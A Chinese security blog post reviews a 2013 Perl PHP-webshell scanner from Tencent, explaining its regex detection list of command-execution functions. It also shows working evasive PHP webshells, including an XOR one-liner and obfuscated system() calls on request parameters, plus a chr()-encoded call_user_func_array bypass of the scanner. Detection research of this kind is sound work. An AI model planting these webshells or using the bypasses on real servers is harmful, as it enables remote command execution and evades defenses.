一场跨越十年的超时空思维碰撞

admin 2023年12月21日10:05:59评论30 views字数 4502阅读15分0秒阅读模式

微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们

0# 概述

最近反正也没啥事情干,突然看到朋友 青山ya 师傅审计出了腾讯开源的xSRC系统的逻辑漏洞,于是我就没事干,把开源的xSRC源码拉下来跟着审计了一波,但在审计的过程中,我在TSRC(腾讯安全应急响应中心)的在线平台中,看到了一个好玩的东西:

一场跨越十年的超时空思维碰撞

ScanWebshell:此工具可用于检测php Webshell

一场跨越十年的超时空思维碰撞

咦,我平时不也在研究WebShell的免杀吗?兴趣使然,我打算下载下来看看

1# 工具分析

下载下来,是一个Perl语言编写的程序文件,可以在Linux系统上直接运行

一场跨越十年的超时空思维碰撞

通过编辑器打开,可以看到源码,作者看起来是想实现 ASP + PHP + JSP 的WebShell的查杀,但很可惜不知道是何种原因只完成了 PHP 的查杀部分,主体内容如下:

 1#!/usr/bin/perl
2#Scan WebShell for LAKE2
3#Desc: A small tools that find webshell with perl, it can check ASP/PHP/JSP/ASP.Net script, enjoy hacking :-)
4#Author: lakehu[TSRC]
5#Date: 2013-10-30
6#Version: 1.1.1
7
8#php webshell str
9@php_code_array = (
10  'beval(s|/*.*?*/)*(s*.*?s*)',
11  'bassert(s|/*.*?*/)*(s*.*?s*)',
12  'bsystem(s|/*.*?*/)*(s*.*?s*)',
13  'bpassthru(s|/*.*?*/)*(s*.*?s*)',
14  'bexec(s|/*.*?*/)*(s*.*?s*)',
15  'bpcntl_exec(s|/*.*?*/)*(s*.*?s*)',
16  'bshell_exec(s|/*.*?*/)*(s*.*?s*)',
17  'bpopen(s|/*.*?*/)*(s*.*?s*)',
18  'bproc_open(s|/*.*?*/)*(s*.*?s*)',
19  'bpreg_replace(s|/*.*?*/)*(s*.*?s*)',
20  'bcreate_function(s|/*.*?*/)*(s*.*?s*)',
21  'bob_start(s|/*.*?*/)*(s*.*?s*)',
22  'barray_map(s|/*.*?*/)*(s*.*?s*)',
23  '`.*?`',
24  '(include|include_once|require|require_once)(s|/*.*?*/)*(s*.*?$.*?)',
25  '(include|include_once|require|require_once)(s|/*.*?*/)*(?s*['"].*?.[^p][^h][^p]w*?['"].*?s*?;',
26  '(phpspy|4ngel|wofeiwo|c99shell|webshell|php_nst|reDuh)',
27  '$[w-_'\[\]{}.$*/|]+(s|/*.*?*/)*(.*?)'
28);

可以看到,这个脚本是腾讯安全的 lakehu 师傅在2013年完工的,今年是2023年
整整十年时间,犹如弹指一挥间,没想到还有个人点开了他留下的赛博足迹

一场跨越十年的超时空思维碰撞

2# 这个脚本到底干了啥

第一次运行的时候,报了如下错误:

一场跨越十年的超时空思维碰撞

运行的时候,会有这个报错:/usr/bin/perl^M: bad interpreter: No such file or directory
这是因为不同的编码方式导致,Windows环境下面新建的文本文档默认是dos格式的,dos格式在Linux系统里面有些的字符是不可见的,所以执行报错,解决方法如下:

1vim ./ScanWebShell.pl
2:set ff        //显示文件格式 fileformat=dos
3:set ff=unix   //修改格式为unix
4:wq            //保存并退出

刚看到这个pl脚本,我只认为它就识别了常见的高危函数和可调用的高危函数,但随着深入上手和查看,它的余威还是有点震撼我的,这是脚本内提取出的正则匹配式:

 1eval(s|/*.*?*/)*(s*.*?s*)
2assert(s|/*.*?*/)*(s*.*?s*)
3system(s|/*.*?*/)*(s*.*?s*)
4passthru(s|/*.*?*/)*(s*.*?s*)
5exec(s|/*.*?*/)*(s*.*?s*)
6pcntl_exec(s|/*.*?*/)*(s*.*?s*)
7shell_exec(s|/*.*?*/)*(s*.*?s*)
8popen(s|/*.*?*/)*(s*.*?s*)
9proc_open(s|/*.*?*/)*(s*.*?s*)
10preg_replace(s|/*.*?*/)*(s*.*?s*)
11create_function(s|/*.*?*/)*(s*.*?s*)
12ob_start(s|/*.*?*/)*(s*.*?s*)
13array_map(s|/*.*?*/)*(s*.*?s*)
14`.*?`
15(include|include_once|require|require_once)(s|/*.*?*/)*(s*.*?$.*?)
16(include|include_once|require|require_once)(s|/*.*?*/)*(?s*['"].*?.[^p][^h][^p]w*?['"].*?s*?;
17(phpspy|4ngel|wofeiwo|c99shell|webshell|php_nst|reDuh)
18$[w-_'\[\]{}.$*/|]+(s|/*.*?*/)*(.*?)
19

首先,既然过滤了这么多高危函数,那我马上想到了我写的免杀手册的第一个实例,这里面可是一个高危函数都没有的:

1<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);

如果不懂这个WebShell的原理,可以看开源项目的12.1部分:

https://github.com/AabyssZG/WebShell-Bypass-Guide/blob/main/PHP-Webshell-ByPass-Guide.md

一场跨越十年的超时空思维碰撞

没想到第一个WebShell就翻车了,这时候的我心理活动:咦不应该啊?
然后我又把整个正则匹配式看了一遍,找到了关键的正则匹配式:

1'$[w-_'\[\]{}.$*/|]+(s|/*.*?*/)*(.*?)'

这个正则表达式要怎么理解呢,我们可以拆开用以下四部分来分析:

1$                         # 第一部分
2[w-_'\[\]{}.$*/|]+  # 第二部分
3(s|/*.*?*/)*          # 第三部分
4(.*?)                    # 第四部分
5

  • 第一部分: 最开头匹配符号 $

  • 第二部分:匹配一个或多个字符,这些字符可以是:字母数字下划线、单引号、反斜杠、方括号、花括号、点、$符号、星号、斜杠、竖线

  • 第三部分: 匹配零个或多个空白字符(s)或注释(/* */ 形式的内容)。

  • 第四部分: 用非贪婪模式匹配括号内的任意字符

那现在,让我们将这些部分组合起来,可以清楚地理解整个正则表达式的匹配内容:

  • 第一部分: 匹配以 $ 符号开头的单词(变量名)

  • 第二部分: 匹配一个或多个允许的字符,形成变量名的其余部分,比如 $f 或者 $_

  • 第三部分: 匹配零个或多个空白字符或注释,应该是防止中间掺杂垃圾字符干扰正则

  • 第四部分: 匹配括号内的任意字符,相当于不检测括号内的内容

相当于检测到外部变量想要作为函数执行括号内的内容就拦截,那这条正则匹配式能拦截啥呢?比如:

一场跨越十年的超时空思维碰撞

一、自定义函数混淆字符串类型:

 1function confusion($a){
2    $s = ['A','a','b''y''s''s''T''e''a''m'];
3    $tmp = "";
4    while ($a>10) {
5        $tmp .= $s[$a%10];
6        $a = $a/10;
7    }
8    return $tmp.$s[$a];
9}
10$f = confusion(976534);         //sysTem(高危函数)
11$f($_POST['aabyss']);           //sysTem($_POST['aabyss']);

二、一维数组绕过:

1$f = substr_replace("systxx","em",4);         //system(高危函数)
2$z = array($array = array('a'=>$f($_GET['aabyss'])));
3var_dump($z);

三、异或+变换参数绕过:

1$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);

等等,还有许多以 变量(调用外部参数) 来执行恶意命令的WebShell都能查杀,说明作者对参数变形和PHP参数调用的相关姿势烂熟于心啊哈哈

3# 查杀ByPass

既然直接用变量作为函数执行不行的话,那可以曲线救国,比如:

1//ASCII编码解密后为system高危函数
2$f =  chr(114+1).chr(120+1).chr(116-1).chr(117-1).chr(100+1).chr(108+1);
3call_user_func_array($f, array($_GET['aabyss']));

通过这个简单的样例,采用回调函数的手法,来执行对应的命令

一场跨越十年的超时空思维碰撞

成功ByPass,没有被查杀:

一场跨越十年的超时空思维碰撞

同样,基于这种思路,还可以用更多手法来绕过这些正则表达式

4# 总结

2013年那个时代,正是国内网络安全行业刚刚扬帆起航的时代
可以想到,在那个还在用着 D盾菜刀caidao 的时代,对于WebShell的查杀还是基于正则匹配式,回想现在的 语义分析(AST)机器学习(AI) 来对WebShell进行查杀,不可谓时代的车轮仍在滚滚向前

谁能想到,在十年后,在互联网的犄角旮旯里面,我还能重拾前人的经验、回忆和热枕,带着他们继续向前

十年过去了,这位 lakehu 师傅,你还好吗?如果不是隐退江湖,想必也已成为一方大佬了吧,向各位推动中国网络安全发展的师傅致以崇高的敬意!


我是曾哥,我在渊龙Sec安全团队等你
微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!

一场跨越十年的超时空思维碰撞

原文始发于微信公众号(梅苑安全学术):一场跨越十年的超时空思维碰撞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月21日10:05:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一场跨越十年的超时空思维碰撞http://cn-sec.com/archives/2239748.html

发表评论

匿名网友 填写信息